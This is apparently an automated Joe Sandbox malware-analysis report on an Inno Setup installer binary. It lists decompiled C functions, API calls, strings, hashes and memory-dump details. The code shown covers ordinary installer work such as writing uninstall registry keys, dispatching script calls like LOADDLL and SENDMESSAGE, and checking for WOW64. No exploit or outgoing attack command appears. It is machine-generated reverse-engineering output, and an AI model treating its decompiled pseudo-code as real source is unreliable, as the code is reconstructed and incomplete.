0x00468eaf
0x00468eb2
0x00468ec1
0x00468ecb
0x00468ed0
0x00468ee0
0x00468eea
0x00468eef
0x00468eff
0x00468f04
0x00468f04
0x00468f0c
0x00468f12
0x00468f17
0x00468f27
0x00468f31
0x00468f36
0x00468f46
0x00468f4b
0x00468f4b
0x00468f53
0x00468f5b
0x00468f64
0x00468f70
0x00468f79
0x00468f85
0x00468f8e
0x00468f93
0x00468f93
0x00468f98
0x00468faa
0x00468fb0
0x00468f9a
0x00468fa0
0x00468fa0
0x00468fc7
0x00468fd7
0x00468fdc
0x00468fe4
0x00468ff4
0x00469003
0x0046900b
0x00469011
0x0046901e
0x0046902e
0x0046903d
0x00469045
0x0046904b
0x00469058
0x00469068
0x0046906d
0x00469075
0x00469085
0x0046908a
0x00469092
0x004690a2
0x004690a7
0x004690af
0x004690bf
0x004690c4
0x004690cc
0x004690dc
0x004690e1
0x004690e9
0x004690f9
0x004690fe
0x00469106
0x00469116
0x0046911b
0x00469123
0x00469133
0x00469138
0x00469140
0x00469150
0x00469155
0x0046915c
0x00469165
0x00469189
0x00469167
0x00469173
0x00469178
0x0046919d
0x004691a7
0x004691b7
0x004691bd
0x004691c4
0x004691c8
0x004691c9
0x004691ce
0x004691d1
0x004691db
0x004691de
0x004691ea
0x004691ef
0x004691f6
0x004691f9
0x004691f9
0x00469220
0x00469223
0x00469226
0x00469234

APIs

Part of subcall function 00468C14: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,?,00490044,?,00468E0B,?,00000000,00469235,?,_is1), ref: 00468C37

RegCloseKey.ADVAPI32(?,0046923C,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,00469284,?,?,00000001,00490044), ref: 0046922F

Strings

InstallLocation, xrefs: 00468E4E
Inno Setup: Selected Tasks, xrefs: 00468F1F
Inno Setup: User Info: Name, xrefs: 00468F56
Publisher, xrefs: 0046909A
RegisterPreviousData, xrefs: 004691E5
Inno Setup: Deselected Components, xrefs: 00468EF7
QuietUninstallString, xrefs: 00469060
InstallDate, xrefs: 004691AF
DisplayName, xrefs: 00468FCF
NoRepair, xrefs: 00469190
" /SILENT, xrefs: 00469053
NoModify, xrefs: 0046917C
5.1.11, xrefs: 00468DFE
Inno Setup: App Path, xrefs: 00468E2E
URLInfoAbout, xrefs: 004690B7
Inno Setup: User Info: Serial, xrefs: 00468F80
Comments, xrefs: 00469148
Inno Setup: Setup Type, xrefs: 00468EB9
Inno Setup: Selected Components, xrefs: 00468ED8
Inno Setup: User Info: Organization, xrefs: 00468F6B
Inno Setup: Setup Version, xrefs: 00468DF9
Software\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 00468D5E
DisplayIcon, xrefs: 00468FEC
_is1, xrefs: 00468D64
DisplayVersion, xrefs: 0046907D
UninstallString, xrefs: 00469026
URLUpdateInfo, xrefs: 004690F1
Inno Setup: Icon Group, xrefs: 00468E5D
ModifyPath, xrefs: 00469168
HelpLink, xrefs: 004690D4
Readme, xrefs: 0046910E
Inno Setup: No Icons, xrefs: 00468E7B
Contact, xrefs: 0046912B
Inno Setup: Deselected Tasks, xrefs: 00468F3E
Inno Setup: User, xrefs: 00468E9A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseValue
String ID: " /SILENT$5.1.11$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$HelpLink$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
API String ID: 3132538880-595065584
Opcode ID: 251595232ae8954227b31dcc4d5abefa989af7f7a3a7da321f83921bf7afe981
Instruction ID: 652d5baa63bd031376f2e9dc01ecc43bb7dcd25158a9b1a79304fa3b3e803fab
Opcode Fuzzy Hash: 251595232ae8954227b31dcc4d5abefa989af7f7a3a7da321f83921bf7afe981
Instruction Fuzzy Hash: 3EE18774A001099FCB04EB55D991AAF73B9EB44304F20857FE8046B395EF78AE41CB7A

Uniqueness

Uniqueness Score: -1.00%

Function 00487C08 Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 431
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00487C08(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
				char _v5;
				char _v12;
				char _v16;
				long _t81;
				long _t90;
				signed int _t103;
				CHAR* _t109;
				long _t128;
				long _t136;
				int _t138;
				signed int _t141;
				long _t145;
				int _t147;
				signed int _t150;
				long _t154;
				int _t156;
				long _t170;
				int _t172;
				int _t174;
				signed int _t177;
				long _t181;
				int _t183;
				int _t185;
				signed int _t188;
				long _t192;
				int _t194;
				int _t196;
				struct HWND__* _t213;
				void* _t220;
				intOrPtr _t276;
				intOrPtr* _t368;
				intOrPtr* _t369;
				void* _t372;
				intOrPtr _t375;

				_t378 = __fp0;
				_t220 = __ecx;
				_t374 = _t375;
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_t219 = _a4;
				_push(_t375);
				_push(0x4880fd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t375;
				_t372 =  *((intOrPtr*)(_a4 + 0xc)) - 1;
				_v5 = 1;
				E0040369C( *((intOrPtr*)(__edx + 0x10)), 0x488118);
				if(_t372 != 0) {
					E0040369C( *((intOrPtr*)(__edx + 0x10)), "FINDWINDOWBYCLASSNAME");
					if(__eflags != 0) {
						E0040369C( *((intOrPtr*)(__edx + 0x10)), "FINDWINDOWBYWINDOWNAME");
						if(__eflags != 0) {
							E0040369C( *((intOrPtr*)(__edx + 0x10)), "SENDMESSAGE");
							if(__eflags != 0) {
								E0040369C( *((intOrPtr*)(__edx + 0x10)), "POSTMESSAGE");
								if(__eflags != 0) {
									E0040369C( *((intOrPtr*)(__edx + 0x10)), "SENDNOTIFYMESSAGE");
									if(__eflags != 0) {
										E0040369C( *((intOrPtr*)(__edx + 0x10)), "REGISTERWINDOWMESSAGE");
										if(__eflags != 0) {
											E0040369C( *((intOrPtr*)(__edx + 0x10)), "SENDBROADCASTMESSAGE");
											if(__eflags != 0) {
												E0040369C( *((intOrPtr*)(__edx + 0x10)), "POSTBROADCASTMESSAGE");
												if(__eflags != 0) {
													E0040369C( *((intOrPtr*)(__edx + 0x10)), "SENDBROADCASTNOTIFYMESSAGE");
													if(__eflags != 0) {
														E0040369C( *((intOrPtr*)(__edx + 0x10)), "LOADDLL");
														if(__eflags != 0) {
															E0040369C( *((intOrPtr*)(__edx + 0x10)), "CALLDLLPROC");
															if(__eflags != 0) {
																E0040369C( *((intOrPtr*)(__edx + 0x10)), "FREEDLL");
																if(__eflags != 0) {
																	E0040369C( *((intOrPtr*)(__edx + 0x10)), "CREATEMUTEX");
																	if(__eflags != 0) {
																		E0040369C( *((intOrPtr*)(__edx + 0x10)), "OEMTOCHARBUFF");
																		if(__eflags != 0) {
																			E0040369C( *((intOrPtr*)(__edx + 0x10)), "CHARTOOEMBUFF");
																			if(__eflags != 0) {
																				_v5 = 0;
																			} else {
																				E00446558(_t219,  &_v12, _t372, __edx);
																				_t81 = E0040358C(_v12);
																				CharToOemBuffA(E00403750(_v12), _t83, _t81);
																				E004468AC(_t219, _v12, _t372, _t374);
																			}
																		} else {
																			E00446558(_t219,  &_v12, _t372, __edx);
																			_t90 = E0040358C(_v12);
																			OemToCharBuffA(E00403750(_v12), _t92, _t90);
																			E004468AC(_t219, _v12, _t372, _t374);
																		}
																	} else {
																		E00446558(_t219,  &_v16, _t372, __edx);
																		CreateMutexA(0, 0, E00403750(_v16));
																	}
																} else {
																	_t103 = FreeLibrary(E004464FC(_t219, _t220, _t372 - 1, __fp0));
																	asm("sbb ecx, ecx");
																	E00446630(_t219,  ~( ~_t103), _t372, _t374, __fp0);
																}
															} else {
																E00446558(_t219,  &_v16, _t372 - 2, __edx);
																_t109 = E00403750(_v16);
																_t368 = GetProcAddress(E004464FC(_t219,  &_v16, _t372 - 1, __fp0), _t109);
																__eflags = _t368;
																if(_t368 == 0) {
																	E00446630(_t219, 0, _t372, _t374, __fp0);
																} else {
																	E004467D8(_t219,  *_t368(E004464FC(_t219,  &_v16, _t372 - 3, __fp0), E004464FC(_t219,  &_v16, _t372 - 4, __fp0)), _t372 - 5, _t374, __fp0);
																	E00446630(_t219, 1, _t372, _t374, __fp0);
																}
															}
														} else {
															E00446558(_t219,  &_v16, _t372 - 1, __edx);
															_t369 = E0042E1B8(_v16, _t219, 0x8000);
															__eflags = _t369;
															if(_t369 == 0) {
																_t128 = GetLastError();
																__eflags = _t372 - 2;
																E004467D8(_t219, _t128, _t372 - 2, _t374, __fp0);
															} else {
																E004467D8(_t219, 0, _t372 - 2, _t374, __fp0);
															}
															E004467D8(_t219, _t369, _t372, _t374, _t378);
														}
													} else {
														_t136 = E004464FC(_t219, _t220, _t372 - 3, __fp0);
														_t138 = E004464FC(_t219, _t220, _t372 - 2, __fp0);
														_t141 = SendNotifyMessageA(0xffff, E004464FC(_t219, _t220, _t372 - 1, __fp0), _t138, _t136);
														asm("sbb ecx, ecx");
														E00446630(_t219,  ~( ~_t141), _t372, _t374, __fp0);
													}
												} else {
													_t145 = E004464FC(_t219, _t220, _t372 - 3, __fp0);
													_t147 = E004464FC(_t219, _t220, _t372 - 2, __fp0);
													_t150 = PostMessageA(0xffff, E004464FC(_t219, _t220, _t372 - 1, __fp0), _t147, _t145);
													asm("sbb ecx, ecx");
													E00446630(_t219,  ~( ~_t150), _t372, _t374, __fp0);
												}
											} else {
												_t154 = E004464FC(_t219, _t220, _t372 - 3, __fp0);
												_t156 = E004464FC(_t219, _t220, _t372 - 2, __fp0);
												E004467D8(_t219, SendMessageA(0xffff, E004464FC(_t219, _t220, _t372 - 1, __fp0), _t156, _t154), _t372, _t374, __fp0);
											}
										} else {
											E00446558(_t219,  &_v16, _t372 - 1, __edx);
											E004467D8(_t219, RegisterClipboardFormatA(E00403750(_v16)), _t372, _t374, __fp0);
										}
									} else {
										_t170 = E004464FC(_t219, _t220, _t372 - 4, __fp0);
										_t172 = E004464FC(_t219, _t220, _t372 - 3, __fp0);
										_t174 = E004464FC(_t219, _t220, _t372 - 2, __fp0);
										_t177 = SendNotifyMessageA(E004464FC(_t219, _t220, _t372 - 1, __fp0), _t174, _t172, _t170);
										asm("sbb ecx, ecx");
										E00446630(_t219,  ~( ~_t177), _t372, _t374, __fp0);
									}
								} else {
									_t181 = E004464FC(_t219, _t220, _t372 - 4, __fp0);
									_t183 = E004464FC(_t219, _t220, _t372 - 3, __fp0);
									_t185 = E004464FC(_t219, _t220, _t372 - 2, __fp0);
									_t188 = PostMessageA(E004464FC(_t219, _t220, _t372 - 1, __fp0), _t185, _t183, _t181);
									asm("sbb ecx, ecx");
									E00446630(_t219,  ~( ~_t188), _t372, _t374, __fp0);
								}
							} else {
								_t192 = E004464FC(_t219, _t220, _t372 - 4, __fp0);
								_t194 = E004464FC(_t219, _t220, _t372 - 3, __fp0);
								_t196 = E004464FC(_t219, _t220, _t372 - 2, __fp0);
								E004467D8(_t219, SendMessageA(E004464FC(_t219, _t220, _t372 - 1, __fp0), _t196, _t194, _t192), _t372, _t374, __fp0);
							}
						} else {
							E00446558(_t219,  &_v16, _t372 - 1, __edx);
							E004467D8(_t219, FindWindowA(0, E00403750(_v16)), _t372, _t374, __fp0);
						}
					} else {
						E00446558(_t219,  &_v16, _t372 - 1, __edx);
						_t213 = FindWindowA(E00403750(_v16), 0); // executed
						E004467D8(_t219, _t213, _t372, _t374, __fp0);
					}
				} else {
					Sleep(E004464FC(_t219, _t220, _t372, __fp0));
				}
				_pop(_t276);
				 *[fs:eax] = _t276;
				_push(0x488104);
				return E00403438( &_v16, 2);
			}

0x00487c08
0x00487c08
0x00487c09
0x00487c0b
0x00487c0d
0x00487c0f
0x00487c11
0x00487c16
0x00487c1b
0x00487c1c
0x00487c21
0x00487c24
0x00487c2a
0x00487c2b
0x00487c37
0x00487c3c
0x00487c5a
0x00487c5f
0x00487c96
0x00487c9b
0x00487cd2
0x00487cd7
0x00487d28
0x00487d2d
0x00487d84
0x00487d89
0x00487de0
0x00487de5
0x00487e1a
0x00487e1f
0x00487e68
0x00487e6d
0x00487ebc
0x00487ec1
0x00487f10
0x00487f15
0x00487f72
0x00487f77
0x00487ff9
0x00487ffe
0x0048802e
0x00488033
0x00488060
0x00488065
0x004880a3
0x004880a8
0x004880de
0x004880aa
0x004880b1
0x004880b9
0x004880cb
0x004880d7
0x004880d7
0x00488067
0x0048806e
0x00488076
0x00488088
0x00488094
0x00488094
0x00488035
0x0048803c
0x0048804e
0x0048804e
0x00488000
0x0048800b
0x00488014
0x0048801c
0x0048801c
0x00487f79
0x00487f83
0x00487f8b
0x00487fa1
0x00487fa3
0x00487fa5
0x00487fe7
0x00487fa7
0x00487fcc
0x00487fd7
0x00487fd7
0x00487fa5
0x00487f17
0x00487f1f
0x00487f31
0x00487f33
0x00487f35
0x00487f47
0x00487f50
0x00487f55
0x00487f37
0x00487f40
0x00487f40
0x00487f60
0x00487f60
0x00487ec3
0x00487eca
0x00487ed7
0x00487eed
0x00487ef6
0x00487efe
0x00487efe
0x00487e6f
0x00487e76
0x00487e83
0x00487e99
0x00487ea2
0x00487eaa
0x00487eaa
0x00487e21
0x00487e28
0x00487e35
0x00487e56
0x00487e56
0x00487de7
0x00487def
0x00487e08
0x00487e08
0x00487d8b
0x00487d92
0x00487d9f
0x00487dac
0x00487dbd
0x00487dc6
0x00487dce
0x00487dce
0x00487d2f
0x00487d36
0x00487d43
0x00487d50
0x00487d61
0x00487d6a
0x00487d72
0x00487d72
0x00487cd9
0x00487ce0
0x00487ced
0x00487cfa
0x00487d16
0x00487d16
0x00487c9d
0x00487ca5
0x00487cc0
0x00487cc0
0x00487c61
0x00487c6b
0x00487c79
0x00487c84
0x00487c84
0x00487c3e
0x00487c48
0x00487c48
0x004880e4
0x004880e7
0x004880ea
0x004880fc

APIs

Sleep.KERNEL32(00000000,00000000,004880FD,?,?,?,?,00000000,00000000,00000000), ref: 00487C48
FindWindowA.USER32 ref: 00487C79

Strings

CREATEMUTEX, xrefs: 00488029
POSTBROADCASTMESSAGE, xrefs: 00487E63
FREEDLL, xrefs: 00487FF4
POSTMESSAGE, xrefs: 00487D23
CALLDLLPROC, xrefs: 00487F6D
SENDBROADCASTMESSAGE, xrefs: 00487E15
SENDBROADCASTNOTIFYMESSAGE, xrefs: 00487EB7
FINDWINDOWBYWINDOWNAME, xrefs: 00487C91
OEMTOCHARBUFF, xrefs: 0048805B
SENDMESSAGE, xrefs: 00487CCD
CHARTOOEMBUFF, xrefs: 0048809E
SLEEP, xrefs: 00487C32
FINDWINDOWBYCLASSNAME, xrefs: 00487C55
SENDNOTIFYMESSAGE, xrefs: 00487D7F
LOADDLL, xrefs: 00487F0B
REGISTERWINDOWMESSAGE, xrefs: 00487DDB

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FindSleepWindow
String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
API String ID: 3078808852-3310373309
Opcode ID: 6e990600449c1303a9fb8b6f640889fdbd83c59158944fcb7bfc6f693d24264d
Instruction ID: 306b2178578eb4663268aad54c633cc6c061a1dc434e278cb6bea8e6286ebf43
Opcode Fuzzy Hash: 6e990600449c1303a9fb8b6f640889fdbd83c59158944fcb7bfc6f693d24264d
Instruction Fuzzy Hash: A8C163A0B0421017DB14BA3E8C4651F559AAF89708B61CD3FB446EB78BCE7DDC0A835E

Uniqueness

Uniqueness Score: -1.00%

Function 0047A1DC Relevance: 26.3, APIs: 9, Strings: 6, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E0047A1DC() {
				struct _SYSTEM_INFO _v44;
				_Unknown_base(*)()* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				struct HINSTANCE__* _t19;
				intOrPtr* _t21;
				intOrPtr* _t22;

				 *0x490230 = 0;
				_t19 = GetModuleHandleA("kernel32.dll");
				_t5 = GetProcAddress(_t19, "GetNativeSystemInfo");
				if(_t5 == 0) {
					GetSystemInfo( &_v44);
				} else {
					 *_t5( &_v44); // executed
					_t21 = GetProcAddress(_t19, "IsWow64Process");
					if(_t21 != 0) {
						_push(_t22);
						_push(GetCurrentProcess());
						if( *_t21() != 0 &&  *_t22 != 0 && E00450B60() != 0 && GetProcAddress(_t19, "GetSystemWow64DirectoryA") != 0 && GetProcAddress(GetModuleHandleA("advapi32.dll"), "RegDeleteKeyExA") != 0) {
							 *0x490230 = 1;
						}
					}
				}
				_t8 = _v44.dwOemId - 1;
				if(_t8 < 0) {
					 *0x48eb4c = 1;
					return _t8;
				} else {
					_t9 = _t8 - 5;
					if(_t9 == 0) {
						 *0x48eb4c = 3;
						return _t9;
					}
					_t10 = _t9 - 3;
					if(_t10 == 0) {
						 *0x48eb4c = 2;
						return _t10;
					}
					 *0x48eb4c = 0;
					return _t10;
				}
			}

0x0047a1e1
0x0047a1f2
0x0047a1fa
0x0047a201
0x0047a26d
0x0047a203
0x0047a208
0x0047a215
0x0047a219
0x0047a21b
0x0047a221
0x0047a226
0x0047a25f
0x0047a25f
0x0047a226
0x0047a219
0x0047a277
0x0047a27b
0x0047a28b
0x00000000
0x0047a27d
0x0047a27d
0x0047a281
0x0047a294
0x00000000
0x0047a294
0x0047a283
0x0047a287
0x0047a29d
0x00000000
0x0047a29d
0x0047a2a6
0x00000000
0x0047a2a6

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0047A1ED
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0047A1FA
GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0047A208
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0047A210
GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 0047A21C
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 0047A23D
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 0047A250
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0047A256
GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0047A26D

Strings

GetSystemWow64DirectoryA, xrefs: 0047A237
RegDeleteKeyExA, xrefs: 0047A246
advapi32.dll, xrefs: 0047A24B
kernel32.dll, xrefs: 0047A1E8
IsWow64Process, xrefs: 0047A20A
GetNativeSystemInfo, xrefs: 0047A1F4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$HandleInfoModuleSystem$CurrentNativeProcess
String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
API String ID: 2230631259-2623177817
Opcode ID: 0318c22cd53163ef7490a5c12fce8536b03f41a07dd842bd68e1deeca5760385
Instruction ID: 44ff08cb5a218a7f45b72609dfebf17a8c81accd7f739df94a349df9fc97c582
Opcode Fuzzy Hash: 0318c22cd53163ef7490a5c12fce8536b03f41a07dd842bd68e1deeca5760385
Instruction Fuzzy Hash: E911D050004341A5DA21A3764C49BEF264CCBC1B18F08C9BBBD8D653C3DA6E8D608B6F

Uniqueness

Uniqueness Score: -1.00%

Function 004635E4 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 155
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004635E4(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char* _v40;
				intOrPtr _t62;
				void* _t76;
				intOrPtr _t77;
				void* _t78;
				void* _t90;
				void* _t92;
				void* _t100;
				void* _t102;
				intOrPtr* _t114;
				intOrPtr _t134;
				intOrPtr _t139;
				void* _t156;
				void* _t158;
				void* _t160;
				void* _t161;
				intOrPtr _t162;

				_t160 = _t161;
				_t162 = _t161 + 0xffffffdc;
				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				_t158 = __eax;
				_push(_t160);
				_push(0x463819);
				_push( *[fs:eax]);
				 *[fs:eax] = _t162;
				_t62 =  *0x49004c; // 0x2306ec0
				E004737F0(_t62, __ecx,  &_v16);
				if(_v16 == 0) {
					L22:
					__eflags = 0;
					_pop(_t134);
					 *[fs:eax] = _t134;
					_push(E00463820);
					return E00403438( &_v24, 4);
				} else {
					E004708C4(_v16, __ecx,  &_v20);
					_t156 = 2;
					_t114 = 0x48eab4;
					while(1) {
						_v40 = "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
						_v36 = 0xb;
						_v32 = _v20;
						_v28 = 0xb;
						E0040788C("%s\\%s_is1", 1,  &_v40,  &_v24);
						_t76 = E00403750(_v24);
						_t77 =  *0x48eb48; // 0x1, executed
						_t78 = E0042DC1C(_t77, _t76,  *_t114,  &_v8, 1, 0); // executed
						if(_t78 == 0) {
							_push(_t160);
							_push(0x4637ed);
							_push( *[fs:eax]);
							 *[fs:eax] = _t162;
							if(( *0x49015e & 0x00000004) != 0) {
								E0042DB4C();
							}
							break;
						}
						_t114 = _t114 + 4;
						_t156 = _t156 - 1;
						__eflags = _t156;
						if(_t156 != 0) {
							continue;
						} else {
							goto L22;
						}
						goto L23;
					}
					if(( *0x49015e & 0x00000010) != 0) {
						E0042DB4C();
						if(E0042DB64(_v8, "Inno Setup: No Icons") != 0) {
							 *((char*)(_t158 + 0x318)) = 1;
						}
					}
					if(( *0x49015e & 0x00000040) != 0) {
						E0042DB4C();
						_t100 = E0042DB4C();
						_t169 = _t100;
						if(_t100 != 0) {
							E0047133C( *((intOrPtr*)(_t158 + 0x31c)), _t114, _v12, _t156, _t158, _t169);
						}
						_t102 = E0042DB4C();
						_t170 = _t102;
						if(_t102 != 0) {
							E0047133C( *((intOrPtr*)(_t158 + 0x320)), _t114, _v12, _t156, _t158, _t170);
						}
					}
					if(( *0x49015f & 0x00000008) != 0) {
						_t90 = E0042DB4C();
						_t172 = _t90;
						if(_t90 != 0) {
							E0047133C( *((intOrPtr*)(_t158 + 0x324)), _t114, _v12, _t156, _t158, _t172);
						}
						_t92 = E0042DB4C();
						_t173 = _t92;
						if(_t92 != 0) {
							E0047133C( *((intOrPtr*)(_t158 + 0x328)), _t114, _v12, _t156, _t158, _t173);
						}
					}
					if(( *0x490160 & 0x00000002) != 0) {
						E0042DB4C();
						E0042DB4C();
						E0042DB4C();
					}
					_pop(_t139);
					 *[fs:eax] = _t139;
					_push(E004637FE);
					return RegCloseKey(_v8);
				}
				L23:
			}

0x004635e5
0x004635e7
0x004635ef
0x004635f2
0x004635f5
0x004635f8
0x004635fb
0x004635ff
0x00463600
0x00463605
0x00463608
0x0046360e
0x00463613
0x0046361c
0x004637fe
0x004637fe
0x00463800
0x00463803
0x00463806
0x00463818
0x00463622
0x00463628
0x0046362d
0x00463632
0x00463637
0x00463648
0x0046364b
0x00463652
0x00463655
0x00463666
0x0046366e
0x00463677
0x0046367c
0x00463683
0x0046368b
0x0046368c
0x00463691
0x00463694
0x0046369e
0x004636ae
0x004636ae
0x00000000
0x0046369e
0x004637f4
0x004637f7
0x004637f7
0x004637f8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004637f8
0x004636ba
0x004636ca
0x004636de
0x004636e0
0x004636e0
0x004636de
0x004636ee
0x004636fe
0x0046370e
0x00463713
0x00463715
0x00463720
0x00463720
0x00463730
0x00463735
0x00463737
0x00463742
0x00463742
0x00463737
0x0046374e
0x0046375b
0x00463760
0x00463762
0x0046376d
0x0046376d
0x0046377d
0x00463782
0x00463784
0x0046378f
0x0046378f
0x00463784
0x0046379b
0x004637ab
0x004637be
0x004637d1
0x004637d1
0x004637d8
0x004637db
0x004637de
0x004637ec
0x004637ec
0x00000000

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegCloseKey.ADVAPI32(?,004637FE,?,?,00000001,00000000,00000000,00463819,?,00000000,00000000,?), ref: 004637E7

Strings

Inno Setup: Selected Tasks, xrefs: 00463753
Inno Setup: Selected Components, xrefs: 00463706
Inno Setup: User Info: Organization, xrefs: 004637B6
Inno Setup: User Info: Serial, xrefs: 004637C9
Inno Setup: Setup Type, xrefs: 004636F6
Inno Setup: Deselected Components, xrefs: 00463728
%s\%s_is1, xrefs: 00463661
Inno Setup: Deselected Tasks, xrefs: 00463775
Inno Setup: No Icons, xrefs: 004636CF
Inno Setup: App Path, xrefs: 004636A6
Inno Setup: User Info: Name, xrefs: 004637A3
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00463643
Inno Setup: Icon Group, xrefs: 004636C2

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1093091907
Opcode ID: d80a88ac64b710b881228c4da7bab361710a00e16dad37f32d8ec60a0cac6d75
Instruction ID: ef7d7eae4a6b32f2ba9ccfdbee4e684a4261d5327a9044f3479cce72f1d49f95
Opcode Fuzzy Hash: d80a88ac64b710b881228c4da7bab361710a00e16dad37f32d8ec60a0cac6d75
Instruction Fuzzy Hash: 7F51D4B4A002889BCB15EF55D852BDEFBF4EF44305F50846AE844A7392E738AF04CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004530D8 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E004530D8(char __eax, void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, DWORD* _a4, intOrPtr* _a8, short _a12, char _a16, char _a20, char _a24) {
				char _v5;
				intOrPtr* _v12;
				char _v13;
				char _v20;
				short _v40;
				long _v44;
				char _v88;
				void* _v100;
				void* _v104;
				char _v108;
				char _v112;
				intOrPtr* _t68;
				signed int _t82;
				long _t99;
				intOrPtr* _t122;
				intOrPtr _t137;
				DWORD* _t147;
				void* _t149;
				intOrPtr* _t150;
				void* _t153;

				_t123 = __ecx;
				_v108 = 0;
				_v112 = 0;
				_v20 = 0;
				_v12 = __ecx;
				_t149 = __edx;
				_v5 = __eax;
				_t147 = _a4;
				_t122 = _a8;
				E00403740(_a24);
				_push(_t153);
				_push(0x453310);
				_push( *[fs:eax]);
				 *[fs:eax] = _t153 + 0xffffff94;
				E0040369C(_t149, 0x45332c);
